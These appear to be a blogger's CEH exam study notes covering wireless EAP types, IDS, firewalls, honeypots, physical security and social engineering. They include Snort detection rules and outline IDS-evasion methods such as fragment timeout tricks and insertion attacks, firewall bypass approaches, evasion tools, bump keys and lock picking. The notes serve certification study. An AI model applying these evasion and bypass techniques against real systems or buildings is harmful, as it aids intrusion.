- Design: Wire: Bundle w/WPA: Comm auth info/encryption keys bet client/supplicant/access control server [RADIUS]

Works as follows:

1. Wireless AP reqs auth info from client
2. Usr supplies auth info
3. WAP fwds client supplied auth info to RADIUS server for auth/autho
4. Client allowed to connect/transmit data

EAP Types/Services

Service	**EAP-MD5**	**LEAP**	**EAP-TLS**	**EAP-TTLS**	**PEAP**
Server Auth	No	Passwd hash	Pub key cert	Pub key cert	Pub key cert
Supplicant Auth	Passwd hash	Passwd hash	Smart card/pub key cert	PAP/CHAP/MS-CHAP	Any EAP [pub key]
Dynamic key delivery	No	Yes	Yes	Yes	Yes
Sec	MiTM, session hijack, ID exposure	Dict. attack, ID exposure	ID exposure	MiTM	MiTM

WIDS: Much like regular IDS: Monitors traffic/can alert admin when traffic found that doesn't match normal usage

- Alerts when traffic matches predefined patterns of attack
- Can be centralized/decentralized/combo of sensors that collect/fwd 802.11 data
- Some can provide general estimate of phys loc

Examples: Airdefense RogueWatch/ RealSecure Server Sensor/Wireless Scanner

Open source:

AirSnare	Alerts unfriendly MAC's: DHCP reqs taking place
WIDZ	Integration for Snort/RealSecure • Guard WAPs/monitor scanning/association floods/bogus WAPs
Snort-Wireless	Integration for Snort: Rogue AP/ad hoc devices/NetStumbler detection

From <https://www.piratemoo.net/moosings/ethical-hacking/ceh-wireless-techmobile/>

Post 11

Friday, January 25, 2019 12:25 AM

IDS/FIREWALLS/HONEYPOTS

June 24, 2017 Moo Comments 0 Comment

IDS Types/Components: 1980's: James Anderson: "*Computer Security Threat Monitoring/Surveillance*"

Divided into 2 categories: Both config to scan for attacks/track movements/alert admin

- **NIDS: Network-Based Intrusion Detection Systems**
- HIDS: Host-based Intrusion Detection Systems

IDS composed of:

Network sensors	Detect/send data to sys
Central monitoring	Process/analyze data sent from sensors
Report analysis	Offer info about how to counteract specific event
DB/Storage components	Trend analysis/stores IP's/info about attackers
Response box	Inputs info from previously listed components/forms appropriate response

What activity is detected based on where sensors placed:

Positive	**True**	**False**
	True-Positive • Alarm generated • Present condition should be alarmed	False-Positive • Alarm generated • No condition present to generate it
Negative	True-Negative • No alarm generated • No present condition that should be alarmed	False-Negative • No alarm generated • Condition present: Should be alarmed

Pattern Matching/Anomaly Detection

Anomaly detection systems:

- Profiles of auth activities: IDS learning mode
- Time needed to make sure IDS produces gives less false negatives
- Attackers can slowly change activity over time: May fool IDS
- Good at spotting behavior that differs from normal

Protocol decoding: Can reassemble packets: Look at higher-layer activity

- Models built on TCP/IP protocols using specifications
- If IDS knows normal activity of protocol: Can pick abnormal behavior

Pattern matching: Rely on DB of known attacks loaded into sys as sigs

- As sigs loaded into IDS: Can guard
- Disadvantage: IDS can only trigger on sigs loaded: New/obfuscated attack might go undetected

Snort: Freeware: Martin Roesch/Brian Caswell: Lightweight network-based

IDS: Linux/Win

2 GUID ints can be used:

1. SnortSnarf
2. IDS Center

Ops as network sniffer: Logs activity that matches predefined sigs

- Sigs can be designed for wide range of traffic: TCP/IP/UDP/ICMP

Snort rules made up of 2 parts

1. **Rule header:** Rules actions ID'd
2. **Rule options:** Rules alert msgs ID'd

Example: alert tcp any any -> any 80 (content: "porn"; msg: "Porn site accessed";)

- Text up to 1st () rule: Rule action
- Alert: Action used

Rule actions can include:

Alert	Log	Pass	Activate	Dynamic

Keyword	Detail
content	Match defined payload value
ack	Match TCP ACK settings
flags	Match TCP flags
id	Match IP header fragment
ttl	Match IP header TTL
msg	Prints msg

Basic Snort Rules

Rule	Description
alert tcp any any -> 192,168.13.0/24 (msg: "O/S Fingerprint detected"; flags: S12;	**OS fingerprint**
alert tcp any any -> 192,168.13.0/24 (msg: "NULL scan detected"; flags: 0;)	**Null scan**
alert tcp any any -> 192,168.13.0/24 (msg: "SYN-FIN scan detected"; flags: SF;)	**SYN/FIN scan**
alert tcp any any -> any 69 Transfer (msg: "TFTP Connection Attempt)";)	**TFTP attempts**
alert tcp any any -> 192,168.13.0/24 (content: "Password"; msg: "Password Transfer Possible!";)	**Passwd xfer**

Negotiation cmd: IP's can be negated with **!.**

Example:

- Negation matches IP 4.2.2.2/2.2.2.0 – 2.2.2.255, w/exception of 2.2.2.1/2.2.2.3

4.2.2.2,2.2.2.0/24, ![2.2.2.1,2.2.2.3]

Rules can reference CVE's: Example of dev rule to alert on Blaster worm detection:

alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg: "NETBIOS DCERPCISystemActivator bind attempt";
low: to_server,established; content: "|05|"; distance: 0; within:1;
content: "|0b|"; distance:1; within:1; byte_test:1,&,1,0,relative;
content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 46|";

distance:29; within:16;
reference:cve, CAN-2003-0352;classtype:attempted-admin; sid:2192; rev:1;)

established	○ Upon completion of 3-way handshake: Snort creates entry in session tracking table ○ Attempts to match rule using keyword/checks for entry in session table ○ If exists: Portion of rule matches

IDS Evasion: Wide range of techniques can be used to attempt to prevent detection

IDS flooding: May insert # of low-priority IDS triggers to attempt to keep busy: Try to get attacks to slip by

Session splicing	Delivers payload over multiple packets: Defeats simple pattern matching w/out session reconstruction • Payload can be delivered in many diff manners/spread out over a long period of time • Fragmentation • Breaking up payload: IDS fails to see true purpose • Fragments usually arrive in order sent: Out of order makes packets harder to reassemble • If IDS can't keep up w/fragments in mem for reassembly: Could slip by
Evasion	When IDS discards packet accepted by host addr to • 1st fragment of packet to IDS has timeout of 15s > Target sys timeout of 30s • Wait over 15s < Less than 30 to send 2nd fragment • IDS discards 2nd fragment since timeout already triggered by 1st fragment • Delivery of 2nd fragment: Accepts since 1st still held in scratch mem • Attack successfully delivered to target sys/IDS has no record of attack
Insertion attack	Sends packets to IDS/target device that will be accepted by IDS/rejected by target • Sending diff data streams to each device

Other techniques:

False positive	Trigger large # of false positives in attempt to desensitize
Obfuscation	Obscuring attack: Unicode/Encryption/ASCII shell code
DoS	Sending so much data IDS/central logging overloaded
Pre-connection SYN	Calls bind to get kernel to assign local port to socket before calling connect
Post-connection SYN	Attempts to desync IDS from actual seq numbers kernel is honoring
Invalid RST	Sends RSTs w/invalid checksum in attempt to force IDS to stop capturing data

Best ways to bypass IDS from inside out: If attacker establish encrypted session from victim going outbound: Effective evasion

Tools: Netcat | Loki | ICMPSend | ACKCMD

IDS Evasion Tools

HTTP tunneling	Proxies/HTTP/HTTPS tunnels traffic inside out
ADMutate	Borrows from virus writers: Polymorphic b0 engine • Feeds ADM b0 to generate tons of functionally equiv exploits w/diff sigs
Mendax	Builds arbitrary exploit from input txt file/dev # of evasion techniques from input
NIDSbench	Includes: Fragrouter, tcpreplay/idstest • Fragrouter fragments traffic which might prevent IDS from detecting true content

Nessus	Can be used to test IDS: Session splicing

Firewall Types:

Packet filters	App-lvl GW	Circuit-lvl GW	Stateful multilayer inspection

NAT: IPv4: Addressed growing need for addresses w/lack of addr space: RFC 1631: Translates bet private/public addr

Bogon: Bogus address [unrouteable]

FW Configs/Vulns

Config	**Vuln**
Packet filter	Stateless: Min protection
Dual-homed host	FW depends on machine that hosts: Vulns in OS
Screened host	Less vuln than dual-homed [screened has packet filter]: Vulns in OS
Stateful inspection	More than packet filters: Vuln b/c of poor rule sets/perm settings
DMZ	Devices in DMZ more at risk than inner network: Lvl of vuln depends on host hardening

ID'ing FW's

1. Port scanning
2. Firewalking
3. Banner grabbing

Port Scanning: Can be used to ID FW's based on port usage: traceroute -I uses ICMP packets instead of UDP

Hping: Useful for finding FW's/ID'ing internal clients: ICMP/TCP/UDP

- Perform idle scans
- Test FW rules
- Test IDS's

Netcat: Focuses on data portion of packet || Hping focuses on header

Firewalking: FW discovery tool that works by crafting packets w/TTL value set to expire 1 hop past FW

- If FW allow packet: Should fwd packet to next hop where it will expire/elicit ICMP expired in transit msg
- If NO allow: Packet dropped: No response: Admin prohibited msg
  - Need IP of last known GW before FW/IP of host loc behind FW
  - Blocking ICMP renders ineffective

Bypassing FW's:

Attack 2ndary connection	Bypass through unsecured wireless point
Proxy servers	Bypass restrictions
Tunnel traffic	Anonymizers/3rd-party sites/encryption
SE	**Phys Sec**
Poor policy/misconfig	**Insider misuse/internal hacking**

Honeypots

- Provide advance warning of real attack
- Tracking activity/keystrokes of attacker
- Increase knowledge of how hackers attack sys
- Lure attacker away from real network

Types of honeypots: Low/high interaction
Low interaction: Emulates services/programs that would be found on individual’s sys

- If attacker does something emulation doesn’t expect: honeypot generates error

High interaction: Perfectly emulates sys/network of computers

- Controlled area which attackers can interact w/what appear to be real apps/programs
- Rely on border devices to control traffic so attackers can get in: Outbound activity tightly controlled

Variety of honeypot types avail:

KFSensor	NetBait	PatriotBox	Specter	BackOfficer Friendly	LeBrea Tarpit	Honeyd	Tiny Honeypot

LaBrea/Tarpit: Ex: Black holes: Sticky honeypots built explicitly to slow down/prevent malicious activity
Detecting honeypots
Items to consider: Attacker could break free/use to attack other sys

- Time/energy needed to set up/config/monitor
- If attacker finds it’s honeypot, may turn interests elsewhere

How is it detected? Probing services: Low-interaction might only report port as open: Not have capability to complete handshakes
Tools that can probe honeypots:

- THC-Amap
- Send-safe Honeypot Hunter
- Hping
- Nessus

From <https://www.piratemoo.net/moosings/ethical-hacking/idsfirewallshoneypots/>

Post 12

Friday, January 25, 2019 12:25 AM

PHYSICAL SECURITY

June 24, 2017 Moo Comments 0 Comment

Physical Security

Threats: Floods | Fire | Hurricanes/Tropical Storms | Tidal Waves | Earthquakes | Other Natural disasters/events

Man-made threats: Theft | Vandalism | Destruction

Equipment failure:

MTBF	**Mean Time Between Failure** • Used to calc expected lifetime of a device • Higher the MTBF: Better
MTTR	**Mean Time To Repair** • Estimate of how long it would take to repair equipment/get it back to use • Lower the MTTR: Better

Power Anomalies

Fault	**Description**
Blackout	Prolonged loss of power
Brownout	Power degradation low/less than normal
Sag	Momentary low voltage
Fault	Momentary loss of power
Spike	Momentary high voltage
Surge	Prolonged high voltage
Noise	Interference superimposed onto power line
Transient	Noise disturbances of a short duration
Inrush	Initial surge of power at startup

Dumpster diving: Collecting valuable information from trash

Paper shredders help prevent leakage problems this way

2 basic types of shredders:

1. **Strip-cut:** Slices paper into long thin stripes: Higher volume of paper/lower maintenance
2. **Crosscut:** Vertically/horizontally cuts paper into confetti pieces

Equipment Controls

Locks: 2 primary types of mechanical locks:

Ward	Basic padlock uses key: Picked by inserting stiff piece of wire/thin strip of metal
Tumbler	More complex: Instead of wards: Uses tumblers: Makes harder for wrong key to open locks • Can be designed as pin/wafer/level tumbler Pins spring loaded: Pins return to proper position when keys removed • Proper key has the number of notches/raised areas that allow pins to shift into proper position

Locks differentiated into grades: Grade of lock specifies its level of construction

3 basic grades:

- **Grade 3:** Consumer locks: Weakest design
- **Grade 2:** Light-duty commercial locks/heavy-duty residential locks
- **Grade 1:** Commercial locks of highest sec

ANSI standards define strength/durability of locks

- **Grade 3:** 200K cycles

- **Grade 2:** 400K cycles
- **Grade 1:** 800K cycles

Different types of keypad/combo locks: Req usr to enter preset/programmed seq of #'s

Basic combo	Input a correct combo of numbers to unlock • Usually have series of wheels
Programmable cipher	Can use keypads/smart locks to control access to restricted areas • Vuln to individuals shoulder surfing

Increasing sec/safety for shoulder surfing:

Visibility shields	Prevent bystanders from viewing combo #'s entered
Delay alarms	Trigger if door held open for more than preset time
Master key locks	Allows supervisor to bypass normal lock/gain entry
Device locks	May req key/combo: Designed to sec laptops: Vinyl-coated steel cable can sec device
Ace locks	Use round key

Bypassing locks:

Bump keys	Key cut to #9 possible: Lowest possible cut • Small amt of material rem from front of key/shank • When placed in lock: w/pressure: Bumped/tapped • Causes pins to jump inside cylinder, enabling lock to open
Lock picking	Manipulation of locks to open w/out key **Basic components:** • **Tension wrenches:** Small angled flathead: Various sizes • **Picks:** Like a dentist pick: Small/angled/pointed • **Lock shims:** Pieces of thin metal: Can insert into latch of padlock

Loc Data/Geotagging: Data can be used in various ways

Smartphone triangulation	Cells transmit to local towers: • Str of sig from towers/distance used to determine phone loc Possible b/c tower antennas: Arranged in triangle • Each of 3 antenna arrays cover 120' sector w/tower as focus • Sectors referred: Alpha/Beta/Gamma • Tower can determine loc by which array receiving sig • Distance measured by round-trip time of sig • Cells usually negotiate w/more than 1 tower

Facility Controls: Limit flow of people as they enter/leave premises: Fences | Lights | Guards | Mantraps

Fences:

Normal sec fences: 2-inch mesh avg 9 guage

High-sec fence: Smaller mesh: 1 inch width of wire 11 guage

Height	Purpose
3-4ft	Deters casual trespassers
6-7ft	Too tall to easily climb
8	Should deter determined intruder: 3 strands barbed-wire should be point out at 45' angle

Turnstile: Form of gate that prevents more than 1 person from gaining access to controlled area

Mantrap: Set of 2 doors: 1/more people must enter mantrap/shut outer door before inner door opens

Bollards: Small concrete pillars outside a building: Helps prevent vehicle from breaching exterior wall/driving in

Personal Safety Controls

Fire Suppression Types

Class	Suppression Type
A	Paper/wood fire: Water/soda acid
B	Gasoline/oil: CO2/soda acid/halon

C	Electronic/computer: CO2/halon
D	Combustible metals: Dry powder

Physical Access Controls: Auth:

Passwds/PIN #'s	Tokens/smart cards/magnetic-strips	Biometrics	Fingerprint
Facial scan	Hand geometry	Palm scan	Retina pattern
Iris recognition	Voice recognition		

6 Types of Social Engineering

Scarcity	Something in short supply: “Buy now. Quantities limited”
Authority	Premise of power: “I work for VP and he needs a passwd reset in a hurry!”
Liking	Doing more for people we like
Consistency	Pausing to look at someone until they answer
Social validation	1 person does it: Others will too
Reciprocation	Someone gives you token/gift: You feel pressured to return favor

Person-to-Person SE

Important user	Works by pretending to be an important user
3rd-party Auth	Trying to make victim believe SE has approval from a 3rd party
Masquerading	Pretending to be someone else
In person	Visiting the person

Computer based SE:

Pop-up windows	Can prompt victim for various types of info
Email attachments	Smartphones: SMiShing: Sending fake SMS msgs
Social networking	Websites

Reverse SE: Sabotaging someone’s equipment and offering to fix the problem

From <https://www.piratemoo.net/moosings/ethical-hacking/physical-security/>